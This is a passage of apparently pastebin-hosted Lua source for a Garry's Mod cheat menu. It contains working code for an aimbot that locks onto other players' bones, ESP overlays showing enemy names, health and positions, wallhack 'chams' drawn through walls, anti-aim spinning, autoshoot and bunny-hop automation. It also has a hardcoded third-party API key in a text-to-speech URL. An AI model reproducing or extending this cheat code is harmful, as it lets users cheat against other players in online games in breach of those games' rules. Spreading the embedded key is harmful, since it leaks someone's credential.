  696. draw.SimpleText("Smooth amount","Font M",170,170,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  697. pMenu.DrawSlider(Frame,170,190,225,20,"Aimbot Smooth AMT",1, 100, 5)
  698.  
  699. pMenu.DrawCheckBox(Frame,410,140,"Aibmot Show fov circle",false,"Aibmot FOV circle (sort of accurate)")
  700. draw.SimpleText("Circle color","Font M",410,170,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  701. draw.SimpleText("R","Font M",645,190,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  702. pMenu.DrawSlider(Frame,410,190,225,20,"Aimbot Circle.r",1, 255, 255)
  703. draw.SimpleText("G","Font M",645,215,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  704. pMenu.DrawSlider(Frame,410,215,225,20,"Aimbot Circle.g",1, 255, 255)
  705. draw.SimpleText("B","Font M",645,240,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  706. pMenu.DrawSlider(Frame,410,240,225,20,"Aimbot Circle.b",1, 255, 1)
  707. draw.SimpleText("A","Font M",645,265,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  708. pMenu.DrawSlider(Frame,410,265,225,20,"Aimbot Circle.a",1, 255, 255) // 159
  709.  
  710. draw.SimpleText("Aimkey (wiki.garrysmod.com/page/Enums/KEY) Default: Left Alt","Font M",170,290,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  711. pMenu.DrawSlider(Frame,170,315,490,20,"Aimbot Key",1, 159, 81)
  712.  
  713. draw.SimpleText("Aimspot (default values): 1 = head, 2 = neck,3 = top of the spine","Font M",170,340,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  714. draw.SimpleText("4 = center spine,5 = stomach. More can be added at the top of the code","Font M",170,360,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  715. pMenu.DrawSlider(Frame,170,385,490,20,"Aimbot Bone",1, #AimbotPoints, 1)
  716. end
  717. if pMenuVars.Tabs[hvh].value then
  718. pMenu.DrawCheckBox(Frame,170,55,"HvH Enable",false,"Enable")
  719. pMenu.DrawCheckBox(Frame,170,100,"HvH Antiaim",false,"Enable AntiAim")
  720. draw.SimpleText("Pitch Angle","Font M",170,125,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  721. pMenu.DrawSlider(Frame,170,150,490,20,"HvH Pitch",-360, 360, -180.05332,true)
  722. draw.SimpleText("Yaw Angle","Font M",170,175,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  723. pMenu.DrawSlider(Frame,170,200,490,20,"HvH Yaw",-360, 360, -80,true)
  724. draw.SimpleText("Style: 1 jitter spin, 2 spin, 3 random,4 at player,5 static,6 yaw + cam.y","Font M",170,225,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  725. pMenu.DrawSlider(Frame,170,250,200,20,"HvH Style",1, 6, 4)
  726. if pMenuVars.Sliders["HvH Style"].value == 2 then
  727. draw.SimpleText("Spin Speed (ang + (IntervalPerTick + Number)","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  728. pMenu.DrawSlider(Frame,380,275,285,20,"HvH Spin Speed",1, 1000, 235)
  729. elseif pMenuVars.Sliders["HvH Style"].value == 3 then
  730. draw.SimpleText("Random min/max","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  731. pMenu.DrawSlider(Frame,380,275,200,20,"HvH randomY",1, 180, 45)
  732. end
  733.  
  734. pMenu.DrawCheckBox(Frame,170,310,"HvH Autoshoot",false,"Autoshoot")
  735. end
  736. if firsttime then
  737. pMenuVars.Tabs[Visuals].value = false;
  738. pMenuVars.Tabs[misc].value = false;
  739. pMenuVars.Tabs[b1gExploits].value = false;
  740. pMenuVars.Tabs[Aimbot].value = false;
  741. pMenuVars.Tabs[hvh].value = false;
  742. end
  743. firsttime = false;
  744.  
  745. end
  746. end
  747.  
  748. function pMenu.boundingbox(ply)
  749. local iBoxWidth = 26;
  750. local iBoxHeight = 71;
  751.  
  752. local pos = ply:GetBonePosition(ply:LookupBone( "ValveBiped.Bip01_Spine" ));
  753. if (ply:Crouching()) then
  754. pos = Vector(pos.x, pos.y, pos.z - 27);
  755. iBoxHeight = 55;
  756. else
  757. pos = Vector(pos.x,pos.y,pos.z - 42.5);
  758. end
  759.  
  760. local points = {
  761. Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ),
  762. Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ),
  763. Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ),
  764. Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ),
  765. Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight),
  766. Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight),
  767. Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight),
  768. Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight),
  769. };
  770. local flb = points[4]:ToScreen();
  771. local brt = points[6]:ToScreen();
  772. local blb = points[1]:ToScreen();
  773. local frt = points[5]:ToScreen();
  774. local frb = points[3]:ToScreen();
  775. local brb = points[2]:ToScreen();
  776. local blt = points[7]:ToScreen();
  777. local flt = points[8]:ToScreen();
  778. local arr = { flb, brt, blb, frt, frb, brb, blt, flt };
  779.  
  780. local t1 = flb.x;
  781. local t2 = flb.y;
  782. local t3 = flb.x;
  783. local t4 = flb.y;
  784.  
  785. for i=1,8 do
  786. if (t1 > arr[i].x) then
  787. t1 = arr[i].x;
  788. end
  789. if (t4 < arr[i].y) then
  790. t4 = arr[i].y;
  791. end
  792. if (t3 < arr[i].x) then
  793. t3 = arr[i].x;
  794. end
  795. if (t2 > arr[i].y) then
  796. t2 = arr[i].y;
  797. end
  798. end
  799. return t1,t3,t2,t4;
  800. end
  801. function pMenu.PredictPos(pos)
  802. local myvel = LocalPlayer():GetVelocity()
  803. local pos = pos - (myvel * engine.TickInterval());
  804. return pos;
  805. end
  806. function pMenu.SmoothAngle(angle,me,SmoothPercent)
  807. local first = Vector(angle.x - me.x, math.NormalizeAngle(angle.y - me.y), 0.0);
  808. local smoothX = me.x + first.x / 100 * SmoothPercent;
  809. local smoothY = me.y + first.y / 100 * SmoothPercent;
  810. return Angle(smoothX, math.NormalizeAngle(smoothY), 0.0);
  811. end
  812. function pMenu.GetAngle(src, dst)
  813. local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z));
  814. local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y);
  815. local pitch = math.atan(delta.z/hyp) * Rad * -1;
  816. local yaw = math.atan(delta.y / delta.x) * Rad;
  817. if (delta.x >= 0) then
  818. yaw = yaw + 180;
  819. end
  820. return Angle(pitch, math.NormalizeAngle(yaw - 180), 0.0);
  821. end
  822. function pMenu.GetAngleVector(src, dst)
  823. local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z));
  824. local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y);
  825. local pitch = math.atan(delta.z/hyp) * Rad * -1;
  826. local yaw = math.atan(delta.y / delta.x) * Rad;
  827. if (delta.x >= 0) then
  828. yaw = yaw + 180;
  829. end
  830. return Vector(pitch, math.NormalizeAngle(yaw - 180), 0.0);
  831. end
  832. function pMenu.ClosestEntToCross(limit,pcmd,bonee,Angle)
  833. if limit == nil then
  834. limit = 360;
  835. end
  836. local curAng = Vector(Angle.x,Angle.y + 180,0);
  837. local curEye = LocalPlayer():EyePos()
  838. local ret = NULL
  839. local retDist = 1000;
  840. for k,v in pairs(player.GetAll()) do
  841. if v == LocalPlayer() || !v:Alive() then
  842. continue;
  843. end
  844. local pos = Vector(0,0,0);
  845. if bonee != nil then
  846. pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(bonee)))
  847. else
  848. pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone)))
  849. end
  850. local tarAng = pMenu.GetAngleVector(curEye,pos);
  851. tarAng = Vector(tarAng.x,tarAng.y + 180,0);
  852. local dist = tarAng:Distance(curAng);
  853. if dist <= limit && dist < retDist && LocalPlayer():IsLineOfSightClear(pos) then
  854. ret = v;
  855. retDist = dist;
  856. end
  857. end
  858. return ret;
  859. end
  860.  
  861. function pMenu.DrawESP(ply)
  862. local boxcolor = Color(pMenuVars.Sliders["ESP BoxColor.r"].value,pMenuVars.Sliders["ESP BoxColor.g"].value,pMenuVars.Sliders["ESP BoxColor.b"].value,255)
  863. local textcolor = Color(pMenuVars.Sliders["ESP TextColor.r"].value,pMenuVars.Sliders["ESP TextColor.g"].value,pMenuVars.Sliders["ESP TextColor.b"].value,255)
  864. local left,right,top,bottom = pMenu.boundingbox(ply)
  865. if pMenuVars.CheckBoxes["ESP BoundingBox"].value then
  866. surface.SetDrawColor(boxcolor);
  867. surface.DrawOutlinedRect(left + 1,top + 1, (right - left) + 1,(bottom - top) + 1)
  868. end
  869. if pMenuVars.CheckBoxes["ESP HealthBar"].value then
  870. surface.SetDrawColor(0,0,0,255);
  871. surface.DrawRect(left - 5,top - 1 + 2,4, (bottom - top) / 100 * ply:Health() + 2)
  872. surface.SetDrawColor(255,0,0,255);
  873. surface.DrawRect(left - 4,top + 2,2, (bottom - top) / 100 * ply:Health())
  874. end
  875.  
  876. if (pMenuVars.CheckBoxes["ESP Name"].value) then
  877. draw.SimpleText(ply:Nick(),"Font L2",left + (right - left) / 2,top - 5,textcolor,TEXT_ALIGN_CENTER,TEXT_ALIGN_BOTTOM)
  878. end
  879. if (pMenuVars.CheckBoxes["ESP Position"].value) then
  880. local pos = ply:GetPos();
  881. draw.SimpleText("POS = ".."X: "..math.floor(pos.x).." Y: "..math.floor(pos.y).." Z: "..math.floor(pos.z),"Font L2",right + 3,top,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
  882. end
  883. if (pMenuVars.CheckBoxes["ESP Angles"].value) then
  884. local pos = ply:EyeAngles();
  885. draw.SimpleText("ANG.X: "..(pos.p),"Font L2",right + 3,top + 12,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
  886. draw.SimpleText("ANG.Y: "..(pos.y),"Font L2",right + 3,top + 24,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
  887. draw.SimpleText("ANG.Z: "..(pos.z),"Font L2",right + 3,top + 36,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
  888. end
  889. if (pMenuVars.CheckBoxes["ESP Traceline"].value) then
  890. local eyes = (ply:EyePos() + ply:EyeAngles():Forward() * pMenuVars.Sliders["ESP Traceline Distance"].value):ToScreen();
  891. local eye = ply:EyePos():ToScreen();
  892.  
  893. surface.SetDrawColor(255,255,255,255)
  894. if eye.visible && eyes.visible then
  895. surface.DrawLine(eyes.x,eyes.y,eye.x,eye.y)
  896. end
  897. end
  898. end
  899. // pasted chams because l a z y
  900. local chamsmat = CreateMaterial("a", "VertexLitGeneric", {
  901. ["$ignorez"] = 1,
  902. ["$model"] = 1,
  903. ["$basetexture"] = "models/debug/debugwhite",
  904. })
  905. local chamsmat2 = CreateMaterial("@", "VertexLitGeneric", {
  906. ["$ignorez"] = 0,
  907. ["$model"] = 1,
  908. ["$basetexture"] = "models/debug/debugwhite",
  909. })
  910. function pMenu.Chams(v)
  911. local ChamVis = Color(pMenuVars.Sliders["ESP ChamVisColor.r"].value,pMenuVars.Sliders["ESP ChamVisColor.g"].value,pMenuVars.Sliders["ESP ChamVisColor.b"].value,255)
  912. local ChamNVis = Color(pMenuVars.Sliders["ESP ChamNVisColor.r"].value,pMenuVars.Sliders["ESP ChamNVisColor.g"].value,pMenuVars.Sliders["ESP ChamNVisColor.b"].value,255)
  913. cam.Start3D()
  914. if v:IsValid() then
  915. if pMenuVars.CheckBoxes["ESP XQZ"].value then
  916. render.MaterialOverride(chamsmat)
  917. render.SetColorModulation(ChamNVis.r/ 255, ChamNVis.g/255, ChamNVis.b/255)
  918. v:DrawModel()
  919. end
  920.  
  921. render.SetColorModulation(ChamVis.r / 255, ChamVis.g/ 255, ChamVis.b/ 255) // vis
  922. render.MaterialOverride(chamsmat2)
  923. v:DrawModel()
  924. end
  925. local wep = v:GetActiveWeapon()
  926. local wep = v:GetActiveWeapon()
  927. if wep:IsValid() then
  928. if pMenuVars.CheckBoxes["ESP WeaponCham"].value then
  929. render.MaterialOverride(chamsmat)
  930. render.SetColorModulation(255/255, 0/255, 0/255, 255)
  931. wep:DrawModel()
  932. render.SetColorModulation(255/255, 255/255, 0/255, 255)
  933. render.MaterialOverride(chamsmat2)
  934. wep:DrawModel()
  935. end
  936. end
  937. cam.End3D()
  938. end
  939. function pMenu.bhop(pcmd)
  940. if (!LocalPlayer():IsOnGround() && !LocalPlayer():IsTyping() && pcmd:KeyDown(IN_JUMP)) then
  941. pcmd:RemoveKey(IN_JUMP)
  942. end
  943. end
  944. function pMenu.autostrafe(pcmd)
  945. if !(LocalPlayer():IsOnGround()) && input.IsKeyDown(KEY_SPACE) then
  946. if(pcmd:GetMouseX() > 1 or pcmd:GetMouseX() < -1) then
  947. if(pcmd:GetMouseX() < 0) then
  948. pcmd:SetSideMove(-400)
  949. else
  950. pcmd:SetSideMove(400)
  951. end
  952. else
  953. pcmd:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D())
  954. pcmd:SetSideMove((pcmd:CommandNumber() % 2 == 0) and 400 or -400)
  955. end
  956. end
  957. end
  958. function pMenu.ToggleMenu()
  959. if Frame == NULL then
  960. pMenu.Menu()
  961. else
  962. Frame:Close()
  963. Frame = NULL
  964. end
  965. end
  966. function pMenu.FixMovement(pCmd,fa,angles)
  967. local vec = Vector(pCmd:GetForwardMove(pCmd), pCmd:GetSideMove(), 0)
  968. local vel = math.sqrt(vec.x*vec.x + vec.y*vec.y)
  969. local mang = vec:Angle()
  970. local yaw = angles.y - fa.y + mang.y
  971. if (((angles.p+90)%360) > 180) then
  972. yaw = 180 - yaw
  973. end
  974. yaw = ((yaw + 180)%360)-180
  975. pCmd:SetForwardMove(math.cos(math.rad(yaw)) * vel)
  976. pCmd:SetSideMove(math.sin(math.rad(yaw)) * vel)
  977. end
  978. function pMenu.Shoot(pcmd)
  979. if(LocalPlayer():KeyDown(1)) then
  980. pcmd:SetButtons(bit.band( pcmd:GetButtons(), bit.bnot( 1 ) ) );
  981. else
  982. pcmd:SetButtons(bit.bor( pcmd:GetButtons(), 1 ) );
  983. end
  984. end
  985. hook.Add("RenderScreenspaceEffects","hkRenderScreenspaceEffects",function()
  986. if (pMenuVars.CheckBoxes["ESP Chams"] != nil && pMenuVars.CheckBoxes["ESP Chams"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then
  987. for k,v in pairs(player.GetAll()) do
  988. if v != LocalPlayer() && v:Alive() && !v:IsDormant() && v:Health() > 1 then
  989. pMenu.Chams(v);
  990. end
  991. end
  992. end
  993. end)
  994.  
  995. hook.Add("PreDrawHalos","hkPreDrawHalos",function()
  996. if (pMenuVars.CheckBoxes["ESP Glow"] != nil && pMenuVars.CheckBoxes["ESP Glow"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then
  997. local tab = {}
  998. for k,v in pairs(player.GetAll()) do
  999. if v != LocalPlayer() && v:Alive() then
  1000. tab[k] = v;
  1001. end
  1002. end
  1003. halo.Add( tab, Color( 255, 255, 255 ), 2, 2, 4,true,true )
  1004. end
  1005. end)
  1006. hook.Add("HUDPaint","hkHUDPaint",function()
  1007. for k,v in pairs(player.GetAll()) do
  1008. if v != LocalPlayer() && v:Alive() then
  1009. if pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value then
  1010. pMenu.DrawESP(v)
  1011. end
  1012. end
  1013. end
  1014. if pMenuVars.CheckBoxes["Aibmot Show fov circle"] != nil && pMenuVars.CheckBoxes["Aibmot Show fov circle"].value then
  1015. local End = (ScrW() / (LocalPlayer():GetFOV() + 60) ) * pMenuVars.Sliders["Aimbot FOV"].value;
  1016. pMenu.DrawCircle(ScrW() / 2,ScrH() / 2, End, 70,Color(pMenuVars.Sliders["Aimbot Circle.r"].value,pMenuVars.Sliders["Aimbot Circle.g"].value,pMenuVars.Sliders["Aimbot Circle.b"].value,pMenuVars.Sliders["Aimbot Circle.a"].value))
  1017. end
  1018. end)
  1019. local View = Angle();
  1020. hook.Add("CalcView","hkCalcView",function(ply, pos1, angles, fov)
  1021. if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then
  1022. local view = {}
  1023. local ang = View
  1024. view.angles = View
  1025. local angfwd = ang:Forward();
  1026. local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value
  1027. local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z);
  1028. local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()})
  1029.  
  1030. view.origin = tracelines.HitPos
  1031. view.drawviewer = true;
  1032. return view;
  1033. end
  1034. if pMenuVars.CheckBoxes["MISC Thirdperson"] != nil && pMenuVars.CheckBoxes["MISC Thirdperson"].value then
  1035. local view = {}
  1036. local ang = angles
  1037. view.angles = ang
  1038. local angfwd = ang:Forward();
  1039. local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value
  1040. local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z);
  1041. local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()})
  1042.  
  1043. view.origin = tracelines.HitPos
  1044. view.drawviewer = true;
  1045. return view;
  1046. end
  1047. end)
  1048. local t = 0;
  1049. local jitter = false;
  1050. local AShoot = false;
  1051. hook.Add("CreateMove","hkCreateMove",function(pCmd)
  1052. if pMenuVars.CheckBoxes["MISC Bhop"] != nil && pMenuVars.CheckBoxes["MISC Bhop"].value then
  1053. pMenu.bhop(pCmd)
  1054. end
  1055. if pMenuVars.CheckBoxes["MISC Autostrafe"] != nil && pMenuVars.CheckBoxes["MISC Autostrafe"].value then
  1056. pMenu.autostrafe(pCmd)
  1057. end
  1058. if pMenuVars.CheckBoxes["Aibmot Enable"] != nil && pMenuVars.CheckBoxes["Aibmot Enable"].value then
  1059. if input.IsKeyDown(pMenuVars.Sliders["Aimbot Key"].value) then
  1060. local nearest = pMenu.ClosestEntToCross(pMenuVars.Sliders["Aimbot FOV"].value,pCmd,pCmd:GetViewAngles());
  1061. if nearest != NULL then
  1062. local Eye = LocalPlayer():EyePos();
  1063. local target = nearest:GetBonePosition(nearest:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone))
  1064. local End = Angle();
  1065. if pMenuVars.CheckBoxes["Aibmot Smooth"].value then
  1066. End = pMenu.SmoothAngle(pMenu.GetAngle(Eye,target),pCmd:GetViewAngles(),pMenuVars.Sliders["Aimbot Smooth AMT"].value);
  1067. else
  1068. End = pMenu.GetAngle(Eye,target)
  1069. end
  1070. pCmd:SetViewAngles(End)
  1071. end
  1072. end
  1073. end
  1074. if input.IsKeyDown(KEY_DELETE) then
  1075. t = t + 1
  1076. if t == 1 then
  1077. pMenu.ToggleMenu()
  1078. end
  1079. else
  1080. t = 0;
  1081. end
  1082. local fwdmouse = Vector(pCmd:GetMouseX(),pCmd:GetMouseY(),0)
  1083. View.y = math.NormalizeAngle(View.y + ( ((fwdmouse.x / 250) * GetConVar("sensitivity"):GetInt() )* -1) );
  1084. View.x = math.Clamp(View.x + ( ((fwdmouse.y / 250) * GetConVar("sensitivity"):GetInt() )),-89,89 );
  1085. View:Normalize()
  1086. if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then
  1087.  
  1088. if (pMenuVars.CheckBoxes["HvH Antiaim"].value) then
  1089. local style = pMenuVars.Sliders["HvH Style"].value;
  1090. local CurAngles = pCmd:GetViewAngles()
  1091. local Anglez = Angle(pMenuVars.Sliders["HvH Pitch"].value,pMenuVars.Sliders["HvH Yaw"].value,0);
  1092.  
  1093. //1 jitter, 2 spin, 3 random (-+10/tick),4 at player
  1094. if style == 1 then
  1095. jitter = !jitter;
  1096. if jitter then
  1097. Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 100);
  1098. else
  1099. Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 10);
  1100. end
  1101. elseif style == 2 then
  1102. Anglez.y = math.NormalizeAngle(CurAngles.y + (engine.TickInterval() * pMenuVars.Sliders["HvH Spin Speed"].value));
  1103. elseif style == 3 then
  1104. local rand = pMenuVars.Sliders["HvH randomY"].value;
  1105. Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + math.random(rand * -1,rand));
  1106. elseif style == 4 then
  1107. local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View)
  1108. if ent == NULL then
  1109. Anglez.y = math.NormalizeAngle(Anglez.y + View.y);
  1110. else
  1111. local poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1"));
  1112. local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz);
  1113. Anglez.y = math.NormalizeAngle(CurAngles.y);
  1114. end
  1115. elseif style == 5 then
  1116. Anglez.y = math.NormalizeAngle(Anglez.y);
  1117. elseif style == 6 then
  1118. Anglez.y = math.NormalizeAngle(View.y + Anglez.y);
  1119. end
  1120. if pMenuVars.CheckBoxes["HvH Autoshoot"].value then
  1121. AShoot = !AShoot;
  1122. if AShoot then
  1123. local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View);
  1124. if ent != NULL then
  1125. local poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1"));
  1126. local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz);
  1127.  
  1128. Anglez.x = math.Clamp(End.x,-89,89)
  1129. Anglez.y = math.NormalizeAngle(End.y);
  1130. pMenu.Shoot(pCmd)
  1131. end
  1132. end
  1133. end
  1134. pCmd:SetViewAngles(Anglez)
  1135. end
  1136.  
  1137. pMenu.FixMovement(pCmd,View,pCmd:GetViewAngles())
  1138. end
  1139. end)
  1140. hook.Add( "OnPlayerChat", "hkOnPlayerChat", function( ply, strText, bTeam, bDead )
  1141. if pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"] != nil && pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"].value then
  1142. strText = string.lower( strText )
  1143. local player = ply:Nick()
  1144.  
  1145. local text = player.." said "..strText;
  1146. sound.PlayURL("https://api.ispeech.org/api/rest?apikey=34b06ef0ba220c09a817fe7924575123&action=convert&voice=usenglishmale&speed=1&pitch=100&text="..text,"mono",function(snd)
  1147. if IsValid(snd) then
  1148. snd:Play()
  1149. snd:SetVolume(1)
  1150. end
  1151. end)
  1152. end
  1153. end)
  1154. concommand.Add("b1g_menu",pMenu.ToggleMenu)
  1155. // got bored ended up getting this far in like 4 ish hours I can't type fast :\
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement